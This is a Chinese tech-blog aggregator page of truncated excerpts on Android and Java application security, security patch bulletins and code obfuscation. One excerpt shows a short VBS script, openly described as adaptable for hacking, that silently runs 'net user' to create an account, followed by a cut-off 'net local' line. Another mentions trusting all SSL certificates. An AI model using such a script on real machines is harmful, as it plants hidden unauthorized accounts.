介绍 Android操作系统具有许多内置的安全功能，例如应用程序沙箱，针对缓冲区和整数溢出攻击的保护以及用于程序指令和数据的独立存储区。 因此，默认情况下，通常不将不执行任何文件系统或网络操作的简单Android应用程序视为安全的。 但是，如果您要开发更复杂的应用程序，则有责任确保其安全并保护用户的隐私。 在本文中，我将列出一些最佳实践，您可以遵循这些最佳实践来构建安全的Android应用程序，
转载
2023-07-24 14:03:51
9阅读
在现代移动应用中，安全性已成为开发者最为关注的要点之一。尤其是在Android平台上，程序的安全码问题尤为突出。为了确保用户信息的有效保护，我将逐步记录解决Android程序安全码问题的过程，涵盖环境配置、编译过程、参数调优、定制开发、安全加固与进阶指南。
### 环境配置
解决安卓程序安全码问题的第一步是合理配置开发环境。这里我使用了多种工具以及框架。我的思维导图展示了安装流程的每个步骤，包
在移动应用开发中，保护代码安全是一个不可忽视的重要环节，对Android开发者来说，APK的安全性与轻量化始终是核心诉求，在此介绍一个经典工具：Proguard混淆工具。PruGuard工具介绍ProGuard是一个开源的Java代码优化和混淆工具，自2002年问世以来，已经成为Java和Android开发中的标准配置，其核心能力集中在四方面：名称混淆，将有意义的类名（如LoginActivity
大家好，我们是微软大中华区安全支持团队。微软于北京时间9月11日清晨发布13个安全补丁，其中4个为最高级别严重等级，9个为重要等级，共修复 Microsoft Office、Microsoft Server Software、Microsoft Windows、Microsoft .NET Framework 和 Internet Explorer 中的47个安全漏洞。请优先部署严重等级补丁 MS
android安全——Activity劫持的防范程序
转载
2021-07-30 15:08:52
287阅读
导读：本文介绍如何实现对应用加锁的功能，无须root权限 某些人有时候会有这样一
原创
2023-02-06 17:55:20
184阅读
聚焦源代码安全，网罗国内外最新资讯！ 编译：奇安信代码卫士团队 周一，谷歌发布2020年第一份安卓安全通告，发布了40个漏洞补丁，其中修复了Media 框架中的一个严重缺陷。这次安全公告共分为两部分，一部分解决的是Framework、Media 框架和 System 中的漏洞，第二部分解决的是还存在于 Kernel、Qualcomm和 Qualcomm 闭源组件中的33个缺陷。“20
转载
2024-01-24 15:47:21
62阅读
技术编辑：徐九丨发自 思否编辑部近日，谷歌发布了 2020 年 7 月的 Android 安全公告，并发布了两个安全补丁。本月的补丁修复了几个非常严重的漏洞，推荐厂商和用户尽快安装。其中最严重的漏洞，允许本地恶意应用绕过用户交互要求，以获得额外权限。这意味着用户甚至不需要确定访问权限，恶意应用就可以深入访问用户的手机。此次除了修复框架以及系统层面的漏洞外，还专门针对联发科和高通组件进行了漏洞修复。
转载
2023-11-15 22:09:10
40阅读
小程序安全渐渐变得重要了。当你的小程序做的比较大，用户量多，收益好的时候就会有人搞你 了 所以在小程序的开发上做一些安全的处理。 利用token来验证用户，而不是用openid返回给用户本地。
原创
2022-05-07 16:53:45
396阅读
任何一款app，无论是开发过程中，或者应用上架等操作中，最先需要注意的就是我们自己应用的安全性。Android App安全策略技术手段代码混淆APK文件的安全性是非常令人堪忧的。APK运行环境依赖的文件/文件夹 res、DEX、主配文件Lib 只有简单的加密或者甚至没有任何加密。诸如apktool这类工具可轻易将其破解，再配合其他例如dex2jar、jd-gui等工具基本可以做到：源码暴露、资源
转载
2023-06-30 15:55:47
111阅读
作者：Android安全计划经理Rahul Mishra 在2016年4月，Android的安全小组描述了Google Play App Security Improvement (ASI)计划如何帮助开发者修复了10万应用程序的安全问题。从那时起，我们已经发现并通知开发人员11个新的安全问题，并为开发人员提供更新其应用程序的资源和指导。因此，超过90,000个开发人员更新了超过275,
转载
2017-02-24 09:52:51
582阅读
一个实用小程序，稍作修改即可用于黑客攻击，多谢”吃水的蚊子（328936206）”不惜“以身试法”进行测试。
vbs脚本内容如下：
set wshshell=createobject ("wscript.shell") a=wshshell.run ("net user wenzi wenzi /ad",0) b=wshshell.run ("net local
原创
2007-12-20 17:22:02
1553阅读
5评论
# Java程序安全扫描：构建安全的Java应用
在当今数字化时代，应用程序的安全性显得尤为重要。Java作为一种广泛应用的编程语言，其开发的应用程序也面临着各种安全威胁。为了保障Java程序的安全性，安全扫描工具已成为开发过程中必不可少的一环。本文将探讨Java程序的安全扫描概念，以及相关的代码示例，帮助开发者更好地理解并实施安全机制。
## 什么是Java程序安全扫描？
Java程序安全
原创
2024-09-08 06:09:10
47阅读
导读：要编写线程安全的代码，其核心在于要对状态访问操作进行管理，特别是对共享的（可由多线程同时访问）和可变的（变量值在其生命周期内会发生变化）状态的访问。一、什么是线程安全本节我们将用一个示例来回答线程安全是什么，具体示例请参考以下实现代码。public class UnsafeStates {
private int states = 0;
public int getStat
转载
2024-10-17 19:33:51
15阅读
这里先引入两篇文章： 1、Android网络编程——https 不验证证书方式（信任所有证书） 2、Android: Trusting SSL certificates and
原创
2013-04-15 19:28:00
787阅读
签名机制关注android应用安全，应该关注android的签名机制，平时我们都是使用eclipse直接签名，不了解签名的流程机制，我们今天开始了解一下。Android签名在android应用中扮演着很重要的角色，例如，Android系统禁止更新安装签名不一致的APK；如果应用需要使用system权限，必须保证APK签名与Framework签名一致，等等。android应用签名在应用防篡改、防盗版
转载
2023-08-29 08:53:41
0阅读
目前Android上的流行的软件普遍存在着安全缺陷与安全漏洞，漏洞产生的原因可能有很多，例如以下几种。1、Android提供了一种开放的环境，在获得了灵活性和可以满足各种定制需求的同时，也损失了部分安全性。2、开发团队通常将精力集中在产品设计、功能实现、用户体验和系统等方面，而很少考虑安全问题3、Android提供的安全机制比较复杂，开发者需要理解它们，并对攻击思路和攻击方法有所了解，才能有效
转载
2023-07-26 23:44:36
5阅读
本文描述应用开发者如何使用Android的安全特性。Android是一个特权被隔离的操作系统，每个应用都运行在独特的系统识别符，即Linux user ID和group ID。部分系统同样被系统识别符区分开。因此，Linux将应用程序彼此区分开，将应用程序与系统区分开。 安全体系 Android安全体系的核心设计思想在于，默认情况下，任何一个应用程序没有权限，去执行影响到其他应用程序，操作系统或者
转载
2023-06-30 15:54:43
42阅读
android热补丁初探之二 热补丁分析对比 2015,年，各大国内互联网公司都开始研究热补丁技术，android热补丁技术层出不穷，下面是总结的热补丁的技术对比分析， 主要针对以下三种类型：
1.hotfix （QQ空间）
2.andfix （支付宝）
3.DynamicAPK（携程）
这三个都是国内的三家公司分享的开源技术。 此篇文章主要集中前
最近遇到合规 关于应用整改有点心得 再次记录一下 安全 就是让我们的应用更安全 让用户数据更安全 提高用户体验 等等好处下面说一下我的安全方案 以及主要目标 第一 防止动态注入 第二 防止被调试 第三 防止界面劫持 第四 防止被破解 二次打包 这几个最主要的目标 当然在大牛面前 这些东西 可能不够看 后期会继续努力完善关于当前主流方案 大部分是使用第三方加固 防止这些问题 例如360 阿里 腾讯
转载
2023-10-21 15:49:06
10阅读
